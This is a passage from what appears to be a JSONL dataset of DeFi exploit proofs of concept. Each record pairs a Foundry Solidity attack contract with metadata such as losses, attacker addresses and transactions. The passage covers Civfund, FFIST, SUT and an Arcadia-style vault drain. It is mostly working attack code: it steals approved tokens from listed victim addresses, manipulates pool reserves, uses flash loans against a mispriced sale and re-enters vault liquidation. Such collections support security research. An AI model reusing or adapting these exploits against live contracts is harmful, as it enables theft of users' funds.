@KeyInfo - Total Lost : ~165K USD$\n// Attacker : https://etherscan.io/address/0xc0ccff0b981b419e6e47560c3659c5f0b00e4985\n// Attack Contract : https://etherscan.io/address/0xf466f9f431aea853040ef837626b1c59cc963ce2\n// Vulnerable Contract : https://etherscan.io/address/0x7caec5e4a3906d0919895d113f7ed9b3a0cbf826\n// Attack Tx : https://etherscan.io/tx/0xc42fc0e22a0f60cc299be80eb0c0ddce83c21c14a3dddd8430628011c3e20d6b\n\n// @Analysis\n// https://twitter.com/HypernativeLabs/status/1677529544062803969\n// https://twitter.com/BeosinAlert/status/1677548773269213184\n\ninterface ICiv {\n function uniswapV3MintCallback(uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 BONE = IERC20(0x9813037ee2218799597d83D4a5B6F3b6778218d9);\n IERC20 WOOF = IERC20(0x6BC08509B36A98E829dFfAD49Fde5e412645d0a3);\n IERC20 LEASH = IERC20(0x27C70Cd1946795B66be9d954418546998b546634);\n IERC20 SANI = IERC20(0x4521C9aD6A3D4230803aB752Ed238BE11F8B342F);\n IERC20 ONE = IERC20(0x73A83269b9bbAFC427E76Be0A2C1a1db2a26f4C2);\n IERC20 CELL = IERC20(0x26c8AFBBFE1EBaca03C2bB082E69D0476Bffe099);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 SHIB = IERC20(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE);\n ICiv VulnerableContract = ICiv(0x7CAEC5E4a3906d0919895d113F7Ed9b3a0cbf826);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n address[] victims = [\n 0x18b5f62c3830668D64F859A5a71511B2132075F1,\n 0x22F6b9Cc8E670f6Ad4F43896edeC7E98eae8B6A1,\n 0x783e2F71d8967BDEE8Aa2bA0f3B9f402Ac871365,\n 0x8F159f13f64dB18B8A0742c86Fa8B225CeAd6C5d,\n 0x6a6597CD92D2A78101CC7f2d3BEf3BBfa264f09C,\n 0x899b11881f977AEb5D9Fac5105ce62c877f11763,\n 0x4035918D8e0231D6bF5fFB72Add9EDC917DCfcfa,\n 0x46DaD8f630736C7265849422F943efD77CB8714f,\n 0x7b05363f549c929C3dA930f6728e3D74806E4103,\n 0xC21A3B81Efbba41DD319191b07A20eB1f5EeBd61,\n 0x26d61E57C44525d25AAD4ef20bcE3F7aA9D64C4c,\n 0x71f69A5611375DC6FCBe72044b0a2363fCb0d967,\n 0xC5CC992AAf6ECaC0a1074fa4435ac36FD51FFEEd,\n 0x498C3274D8DdEe9e1C727f31232e2e41Ab55BAf9,\n 0x7b05363f549c929C3dA930f6728e3D74806E4103,\n 0x32923bF50f9D4D182c9dc09A66fB9167b9AB91bF,\n 0x0a78FBeb89EE251C0d78E0eeB5E6bb7524A8939f,\n 0xCfd3eF97272777F6D814344AE93dd6C69b27f214,\n 0x0e1DF04fea7411A393f5Ac2a1907b5e292280bfa,\n 0xD156a9E6F661F4Ea23B21dbDddB1a39dBeA63e65,\n 0x512e9701D314b365921BcB3b8265658A152C9fFD,\n 0xbc1843A7dAa380D4e7412D829Adc85627c3f0eD9,\n 0x853fd548dE9a1b8F94BcFF480DD9fEa6E0f20BB0,\n 0xF2cdD8b147802a07F862C9dc125190e0653795a2,\n 0x526FeE3a5EE9913019Fa943668F0A8712e6349A6,\n 0xe0643f2C33F5a7A97B25129F0552f2f1a45Fc4BA,\n 0x7e585B185fC67BC5f815B7Abf459300418Aa9f97,\n 0x9EAaeaB7255296E68Ad1F12b969B9e30D1806c9d,\n 0x5c7F06399ffD6707a8FCAF248661aBAbF160CD63,\n 0xc0E3424A3B43bfd86a125a2C9704ce445fFc8bb8,\n 0x3C0F97eBc34aD870414176e5e9126f31166eC1A9\n ];\n // The assets of the above addresses. victims[counter] : victimsAssets[counter]\n IERC20[] victimsAssets = [\n USDT,\n USDT,\n BONE,\n WOOF,\n LEASH,\n SANI,\n USDT,\n USDT,\n USDT,\n ONE,\n CELL,\n USDT,\n USDT,\n USDT,\n USDC,\n SHIB,\n ONE,\n LEASH,\n USDT,\n USDT,\n ONE,\n USDT,\n USDT,\n ONE,\n USDT,\n USDT,\n ONE,\n SANI,\n USDT,\n USDT,\n USDT\n ];\n // Helper variable (for orientation). Which token and how much to steal from the next victim\n uint256 private counter = 0;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_646_141);\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(BONE), \"BONE\");\n cheats.label(address(LEASH), \"LEASH\");\n cheats.label(address(SANI), \"SANI\");\n cheats.label(address(ONE), \"ONE\");\n cheats.label(address(CELL), \"CELL\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(SHIB), \"SHIB\");\n }\n\n function testExploit() public {\n // Step 1. Call vulnerable contract function which have no access controll\n for (uint256 i; i < victims.length; ++i) {\n callVulnerableContract();\n }\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker BONE balance after exploit\", BONE.balanceOf(address(this)), BONE.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker WOOF balance after exploit\", WOOF.balanceOf(address(this)), WOOF.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker LEASH balance after exploit\", LEASH.balanceOf(address(this)), LEASH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker SANI balance after exploit\", SANI.balanceOf(address(this)), SANI.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker ONE balance after exploit\", ONE.balanceOf(address(this)), ONE.decimals());\n\n emit log_named_decimal_uint(\n \"Attacker CELL balance after exploit\", CELL.balanceOf(address(this)), CELL.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker SHIB balance after exploit\", SHIB.balanceOf(address(this)), SHIB.decimals()\n );\n }\n\n // Step 2. This function will be called from vulnerable contract (after step 1).\n // In the body of the function attacker call uniswapV3MintCallback() to transfer the funds approved by other users.\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint128 amount0, uint128 amount1) {\n if (counter == 0) {\n uniswapV3MintCallback(0);\n } else if (counter == 1) {\n uniswapV3MintCallback(1);\n } else if (counter == 2) {\n uniswapV3MintCallback(2);\n } else if (counter == 3) {\n uniswapV3MintCallback(3);\n } else if (counter == 4) {\n uniswapV3MintCallback(4);\n } else if (counter == 5) {\n uniswapV3MintCallback(5);\n } else if (counter == 6) {\n uniswapV3MintCallback(6);\n } else if (counter == 7) {\n uniswapV3MintCallback(7);\n } else if (counter == 8) {\n uniswapV3MintCallback(8);\n } else if (counter == 9) {\n uniswapV3MintCallback(9);\n } else if (counter == 10) {\n uniswapV3MintCallback(10);\n } else if (counter == 11) {\n uniswapV3MintCallback(11);\n } else if (counter == 12) {\n uniswapV3MintCallback(12);\n } else if (counter == 13) {\n uniswapV3MintCallback(13);\n } else if (counter == 14) {\n uniswapV3MintCallback(14);\n } else if (counter == 15) {\n uniswapV3MintCallback(15);\n } else if (counter == 16) {\n uniswapV3MintCallback(16);\n } else if (counter == 17) {\n uniswapV3MintCallback(17);\n } else if (counter == 18) {\n uniswapV3MintCallback(18);\n } else if (counter == 19) {\n uniswapV3MintCallback(19);\n } else if (counter == 20) {\n uniswapV3MintCallback(20);\n } else if (counter == 21) {\n uniswapV3MintCallback(21);\n } else if (counter == 22) {\n uniswapV3MintCallback(22);\n } else if (counter == 23) {\n uniswapV3MintCallback(23);\n } else if (counter == 24) {\n uniswapV3MintCallback(24);\n } else if (counter == 25) {\n uniswapV3MintCallback(25);\n } else if (counter == 26) {\n uniswapV3MintCallback(26);\n } else if (counter == 27) {\n uniswapV3MintCallback(27);\n } else if (counter == 28) {\n uniswapV3MintCallback(28);\n } else if (counter == 29) {\n uniswapV3MintCallback(29);\n } else {\n uniswapV3MintCallback(30);\n }\n ++counter;\n return (10, 11);\n }\n\n function token1() external view returns (address) {\n return address(victimsAssets[counter]);\n }\n\n function callVulnerableContract() internal {\n (bool success, bytes memory retData) = address(VulnerableContract).call(\n abi.encodeWithSelector(bytes4(0x5ffe72b7), 0, 0, 0, address(this), 0, 0, 0)\n );\n require(success);\n }\n\n function uniswapV3MintCallback(\n uint256 num\n ) internal {\n VulnerableContract.uniswapV3MintCallback(\n 0, victimsAssets[num].balanceOf(victims[num]), abi.encode(victims[num])\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Civfund", "date": "2023-07", "file_name": "Civfund_exp.sol", "attack_vector": "access_control", "content_hash": "01b9234cd11181e5", "collected_at": "2026-01-07T10:59:16.510868", "_source": "postmortems", "chain": "ethereum", "block_number": 17646141, "total_lost_raw": "~165K USD$", "total_lost_usd": 165000.0, "attacker_address": "https://etherscan.io/address/0xc0ccff0b981b419e6e47560c3659c5f0b00e4985", "attack_contract": "https://etherscan.io/address/0xf466f9f431aea853040ef837626b1c59cc963ce2", "vulnerable_contract": "https://etherscan.io/address/0x7caec5e4a3906d0919895d113f7ed9b3a0cbf826", "attack_tx": "https://etherscan.io/tx/0xc42fc0e22a0f60cc299be80eb0c0ddce83c21c14a3dddd8430628011c3e20d6b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~165K USD$", "category": "access-control", "exploit_code": "function testExploit() public {\n // Step 1. Call vulnerable contract function which have no access controll\n for (uint256 i; i < victims.length; ++i) {\n callVulnerableContract();\n }\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker BONE balance after exploit\", BONE.balanceOf(address(this)), BONE.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker WOOF balance after exploit\", WOOF.balanceOf(address(this)), WOOF.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker LEASH balance after exploit\", LEASH.balanceOf(address(this)), LEASH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker SANI balance after exploit\", SANI.balanceOf(address(this)), SANI.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker ONE balance after exploit\", ONE.balanceOf(address(this)), ONE.decimals());\n\n emit log_named_decimal_uint(\n \"Attacker CELL balance after exploit\", CELL.balanceOf(address(this)), CELL.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker SHIB balance after exploit\", SHIB.balanceOf(address(this)), SHIB.decimals()\n );\n }\n\n // Step 2. This function will be called from vulnerable contract (after step 1).\n // In the body of the function attacker call uniswapV3MintCallback() to transfer the funds approved by other users.", "has_exploit_code": true, "keyinfo_total_lost": "~165K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xc0ccff0b981b419e6e47560c3659c5f0b00e4985", "keyinfo_attack_contract": "https://etherscan.io/address/0xf466f9f431aea853040ef837626b1c59cc963ce2", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x7caec5e4a3906d0919895d113f7ed9b3a0cbf826", "keyinfo_attack_tx": "https://etherscan.io/tx/0xc42fc0e22a0f60cc299be80eb0c0ddce83c21c14a3dddd8430628011c3e20d6b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$165.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Civfund Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~110K USD$\n// Attacker : https://bscscan.com/address/0xcc8617331849962c27f91859578dc91922f6f050\n// Attack Contract : https://bscscan.com/address/0xb31c7b7bdf69554345e47a4393f53c332255c9fb\n// Vulnerable Contract : https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347\n// Attack Tx : https://bscscan.com/tx/0x199c4b88cab6b4b495b9d91af98e746811dd8f82f43117c48205e6332db9f0e0\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1681869807698984961\n// Twitter Guy : https://twitter.com/AnciliaInc/status/1681901107940065280\n\ninterface IairdropToken is IERC20 {\n function lastAirdropAddress() external view returns (address);\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IairdropToken FFIST = IairdropToken(0x80121DA952A74c06adc1d7f85A237089b57AF347);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n address Pair = 0x7a3Adf2F6B239E64dAB1738c695Cf48155b6e152;\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 30_113_117);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(FFIST), \"FFIST\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() external {\n deal(address(WBNB), address(this), 0.01 ether);\n WBNB.approve(address(Router), type(uint256).max);\n FFIST.approve(address(Router), type(uint256).max);\n WBNBToFFIST();\n pairReserveManipulation();\n FFISTToWBNB();\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function pairReserveManipulation() internal {\n address to = address(\n uint160(address(this)) ^ (uint160(FFIST.lastAirdropAddress()) | uint160(block.number)) ^ uint160(Pair)\n );\n FFIST.transfer(to, 0);\n Uni_Pair_V2(Pair).sync();\n }\n\n function WBNBToFFIST() internal {\n address[] memory path = new address[](3);\n path[0] = address(WBNB);\n path[1] = address(USDT);\n path[2] = address(FFIST);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function FFISTToWBNB() internal {\n address[] memory path = new address[](3);\n path[0] = address(FFIST);\n path[1] = address(USDT);\n path[2] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n FFIST.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "FFIST", "date": "2023-07", "file_name": "FFIST_exp.sol", "attack_vector": null, "content_hash": "19e4ade56729c83e", "collected_at": "2026-01-07T10:59:16.510935", "_source": "postmortems", "chain": "bsc", "block_number": 30113117, "total_lost_raw": "~110K USD$", "total_lost_usd": 110000.0, "attacker_address": "https://bscscan.com/address/0xcc8617331849962c27f91859578dc91922f6f050", "attack_contract": "https://bscscan.com/address/0xb31c7b7bdf69554345e47a4393f53c332255c9fb", "vulnerable_contract": "https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347", "attack_tx": "https://bscscan.com/tx/0x199c4b88cab6b4b495b9d91af98e746811dd8f82f43117c48205e6332db9f0e0", "postmortem_url": null, "twitter_url": "https://twitter.com/Phalcon_xyz/status/1681869807698984961", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~110K USD$", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~110K USD$", "keyinfo_attacker": "https://bscscan.com/address/0xcc8617331849962c27f91859578dc91922f6f050", "keyinfo_attack_contract": "https://bscscan.com/address/0xb31c7b7bdf69554345e47a4393f53c332255c9fb", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347", "keyinfo_attack_tx": "https://bscscan.com/tx/0x199c4b88cab6b4b495b9d91af98e746811dd8f82f43117c48205e6332db9f0e0", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/Phalcon_xyz/status/1681869807698984961", "funds_lost_formatted": "$110.0K", "content_richness_score": 5.52, "quality_estimate": "medium", "title": "FFIST Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~8K USD$\n// Attacker : https://bscscan.com/address/0x547fb3db0f13eed5d3ff930a0b61ae35b173b4b5\n// Attack Contract : https://bscscan.com/address/0x9be508ce41ae5795e1ebc247101c40da7d5742db\n// Vulnerable Contract : https://bscscan.com/address/0xf075c5c7ba59208c0b9c41afccd1f60da9ec9c37\n// Attack Tx : https://bscscan.com/tx/0xfa1ece5381b9e2b2b83cb10faefde7632ca411bb38dd6bafe1f1140b1360f6ae\n\n// @Analysis\n// https://twitter.com/bulu4477/status/1682983956080377857\n\ninterface IUniswapV3Router {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ninterface ISUTTokenSale {\n function tokenPrice() external view returns (uint256);\n\n function buyTokens(\n uint256 _numberOfTokens\n ) external payable;\n}\n\ncontract SUTTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 SUT = IERC20(0x70E1bc7E53EAa96B74Fad1696C29459829509bE2);\n IUniswapV3Router Router = IUniswapV3Router(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);\n IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n ISUTTokenSale SUTTokenSale = ISUTTokenSale(0xF075c5C7BA59208c0B9c41afcCd1f60da9EC9c37);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 30_165_901);\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(SUT), \"SUT\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(DPPOracle), \"DPPOracle\");\n cheats.label(address(SUTTokenSale), \"SUTTokenSale\");\n }\n\n function testExploit() public {\n // Start with 0 BNB\n deal(address(this), 0 ether);\n // Take 10 WBNB loan\n DPPOracle.flashLoan(10e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n SUT.approve(address(Router), type(uint256).max);\n WBNB.withdraw(10e18);\n\n emit log_named_uint(\"Incorrect SUT token price returned from tokenPrice() function\", SUTTokenSale.tokenPrice());\n\n SUTTokenSale.buyTokens{value: 6.855184233076263744 ether}(SUT.balanceOf(address(SUTTokenSale)));\n\n emit log_named_decimal_uint(\"Buyed number of SUT tokens\", SUT.balanceOf(address(this)), 18);\n\n // Swap all SUT tokens to WBNB\n SUTToWBNB();\n\n // Wrap the remaining BNB (after buying SUT tokens) to WBNB\n WBNB.deposit{value: address(this).balance}();\n\n // Repaying flashloan\n WBNB.transfer(address(DPPOracle), baseAmount);\n }\n\n receive() external payable {}\n\n function SUTToWBNB() internal {\n IUniswapV3Router.ExactInputSingleParams memory params = IUniswapV3Router.ExactInputSingleParams({\n tokenIn: address(SUT),\n tokenOut: address(WBNB),\n fee: 2500,\n recipient: address(this),\n amountIn: SUT.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(params);\n }\n}\n", "type": "exploit_poc", "protocol": "SUT", "date": "2023-07", "file_name": "SUT_exp.sol", "attack_vector": "flash_loan", "content_hash": "585115a15cecd62f", "collected_at": "2026-01-07T10:59:16.510978", "_source": "postmortems", "chain": "bsc", "block_number": 30165901, "total_lost_raw": "~8K USD$", "total_lost_usd": 8000.0, "attacker_address": "https://bscscan.com/address/0x547fb3db0f13eed5d3ff930a0b61ae35b173b4b5", "attack_contract": "https://bscscan.com/address/0x9be508ce41ae5795e1ebc247101c40da7d5742db", "vulnerable_contract": "https://bscscan.com/address/0xf075c5c7ba59208c0b9c41afccd1f60da9ec9c37", "attack_tx": "https://bscscan.com/tx/0xfa1ece5381b9e2b2b83cb10faefde7632ca411bb38dd6bafe1f1140b1360f6ae", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~8K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Start with 0 BNB\n deal(address(this), 0 ether);\n // Take 10 WBNB loan\n DPPOracle.flashLoan(10e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~8K USD$", "keyinfo_attacker": "https://bscscan.com/address/0x547fb3db0f13eed5d3ff930a0b61ae35b173b4b5", "keyinfo_attack_contract": "https://bscscan.com/address/0x9be508ce41ae5795e1ebc247101c40da7d5742db", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xf075c5c7ba59208c0b9c41afccd1f60da9ec9c37", "keyinfo_attack_tx": "https://bscscan.com/tx/0xfa1ece5381b9e2b2b83cb10faefde7632ca411bb38dd6bafe1f1140b1360f6ae", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$8.0K", "content_richness_score": 8.85, "quality_estimate": "high", "title": "SUT Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~400K USD$\n// Attacker : https://optimistic.etherscan.io/address/0xd3641c912a6a4c30338787e3c464420b561a9467\n// Attack Contract : https://optimistic.etherscan.io/address/0x01a4d9089c243ccaebe40aa224ad0cab573b83c6\n// Vulnerable Contract : https://optimistic.etherscan.io/address/0x13c0ef5f1996b4f119e9d6c32f5e23e8dc313109\n// Attack Tx : https://optimistic.etherscan.io/tx/0xca7c1a0fde444e1a68a8c2b8ae3fb76ec384d1f7ae9a50d26f8bfdd37c7a0afe\n\n// @Info\n// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x3ae354d7e49039ccd582f1f3c9e65034ffd17bad#code\n\n// @Analysis\n// Post-mortem : https://arcadiafinance.medium.com/post-mortem-72e9d24a79b0\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1678250590709899264\n// Twitter Guy : https://twitter.com/peckshield/status/1678265212770693121\n\ninterface IFactory {\n function createVault(uint256 salt, uint16 vaultVersion, address baseCurrency) external returns (address vault);\n}\n\ninterface LendingPool {\n function doActionWithLeverage(\n uint256 amountBorrowed,\n address vault,\n address actionHandler,\n bytes calldata actionData,\n bytes3 referrer\n ) external;\n function liquidateVault(\n address vault\n ) external;\n}\n\ninterface IVault {\n function vaultManagementAction(\n address actionHandler,\n bytes calldata actionData\n ) external returns (address, uint256);\n function deposit(\n address[] calldata assetAddresses,\n uint256[] calldata assetIds,\n uint256[] calldata assetAmounts\n ) external;\n function openTrustedMarginAccount(\n address creditor\n ) external;\n}\n\ninterface IActionMultiCall {}\n\ncontract ContractTest is Test {\n struct ActionData {\n address[] assets; // Array of the contract addresses of the assets.\n uint256[] assetIds; // Array of the IDs of the assets.\n uint256[] assetAmounts; // Array with the amounts of the assets.\n uint256[] assetTypes; // Array with the types of the assets.\n uint256[] actionBalances; // Array with the balances of the actionHandler.\n }\n\n IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);\n IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IFactory Factory = IFactory(0x00CB53780Ea58503D3059FC02dDd596D0Be926cB);\n LendingPool darcWETH = LendingPool(0xD417c28aF20884088F600e724441a3baB38b22cc);\n LendingPool darcUSDC = LendingPool(0x9aa024D3fd962701ED17F76c17CaB22d3dc9D92d);\n IActionMultiCall ActionMultiCall = IActionMultiCall(0x2dE7BbAAaB48EAc228449584f94636bb20d63E65);\n IVault Proxy1;\n IVault Proxy2;\n\n function setUp() public {\n vm.createSelectFork(\"optimism\", 106_676_494);\n vm.label(address(USDC), \"USDC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(aaveV3), \"aaveV3\");\n vm.label(address(Factory), \"Factory\");\n vm.label(address(darcWETH), \"darcWETH\");\n vm.label(address(ActionMultiCall), \"ActionMultiCall\");\n }\n\n function testExploit() external {\n address[] memory assets = new address[](2);\n assets[0] = address(WETH);\n assets[1] = address(USDC);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 29_847_813_623_947_075_968;\n amounts[1] = 11_916_676_700;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n WETH.approve(address(aaveV3), type(uint256).max);\n USDC.approve(address(aaveV3), type(uint256).max);\n\n WETHDrain(assets[0], amounts[0]);\n USDCDrain(assets[1], amounts[1]);\n\n return true;\n }\n\n function WETHDrain(address targetToken, uint256 tokenAmount) internal {\n Proxy1 = IVault(Factory.createVault(15_113, uint16(1), targetToken)); // create vault\n vm.label(address(Proxy1), \"Proxy1\");\n\n Proxy1.openTrustedMarginAccount(address(darcWETH)); // open margin account\n WETH.approve(address(Proxy1), type(uint256).max);\n\n {\n address[] memory assetAddresses = new address[](1);\n assetAddresses[0] = targetToken;\n uint256[] memory assetIds = new uint256[](1);\n assetIds[0] = 0;\n uint256[] memory assetAmounts = new uint256[](1);\n assetAmounts[0] = tokenAmount;\n Proxy1.deposit(assetAddresses, assetIds, assetAmounts); // deposit collateral\n }\n\n ActionData memory ActionData1 = ActionData({\n assets: new address[](0),\n assetIds: new uint256[](0),\n assetAmounts: new uint256[](0),\n assetTypes: new uint256[](0),\n actionBalances: new uint256[](0)\n });\n\n ActionData memory ActionData2 = ActionData({\n assets: new address[](1),\n assetIds: new uint256[](1),\n assetAmounts: new uint256[](1),\n assetTypes: new uint256[](1),\n actionBalances: new uint256[](1)\n });\n ActionData2.assets[0] = targetToken;\n address[] memory to = new address[](1);\n to[0] = targetToken;\n bytes[] memory data = new bytes[](1);\n data[0] = abi.encodeWithSignature(\"approve(address,uint256)\", address(Proxy1), type(uint256).max);\n bytes memory callData1 = abi.encode(ActionData1, ActionData2, to, data);\n darcWETH.doActionWithLeverage(\n WETH.balanceOf(address(darcWETH)) - 1e18, address(Proxy1), address(ActionMultiCall), callData1, bytes3(0)\n ); // leveraged lending\n\n Helper1 helper = new Helper1(address(Proxy1));\n\n ActionData memory ActionData3 = ActionData({\n assets: new address[](1),\n assetIds: new uint256[](1),\n assetAmounts: new uint256[](1),\n assetTypes: new uint256[](0),\n actionBalances: new uint256[](0)\n });\n ActionData3.assets[0] = targetToken;\n ActionData3.assetIds[0] = 0;\n ActionData3.assetAmounts[0] = WETH.balanceOf(address(Proxy1));\n address[] memory toAddress = new address[](2);\n toAddress[0] = targetToken;\n toAddress[1] = address(helper);\n bytes[] memory datas = new bytes[](2);\n datas[0] = abi.encodeWithSignature(\"approve(address,uint256)\", address(helper), type(uint256).max);\n datas[1] = abi.encodeWithSignature(\"rekt()\");\n bytes memory callData2 = abi.encode(ActionData3, ActionData1, toAddress, datas);\n Proxy1.vaultManagementAction(address(ActionMultiCall), callData2); // transfer all the asset to his own controlled contract and re-entry the function liquidateVault to liquidiate the vault\n }\n\n function USDCDrain(address targetToken, uint256 tokenAmount) internal {\n Proxy2 = IVault(Factory.createVault(15_114, uint16(1), targetToken)); // create vault\n vm.label(address(Proxy2), \"Proxy2\");\n\n Proxy2.openTrustedMarginAccount(address(darcUSDC)); // open margin account\n USDC.approve(address(Proxy2), type(uint256).max);\n\n {\n address[] memory assetAddresses = new address[](1);\n assetAddresses[0] = targetToken;\n uint256[] memory assetIds = new uint256[](1);\n assetIds[0] = 0;\n uint256[] memory assetAmounts = new uint256[](1);\n assetAmounts[0] = tokenAmount;\n Proxy2.deposit(assetAddresses, assetIds, assetAmounts); // deposit collateral\n }\n\n ActionData memory ActionData1 = ActionData({\n assets: new address[](0),\n assetIds: new uint256[](0),\n assetAmounts: new uint256[](0),\n assetTypes: new uint256[](0),\n actionBalances: new uint256[](0)\n });\n ActionData memory ActionData2 = ActionData({\n assets: new address[](1),\n assetIds: new uint256[](1),\n assetAmounts: new uint256[](1),\n assetTypes: new uint256[](1),\n actionBalances: new uint256[](1)\n });\n ActionData2.assets[0] = targetToken;\n 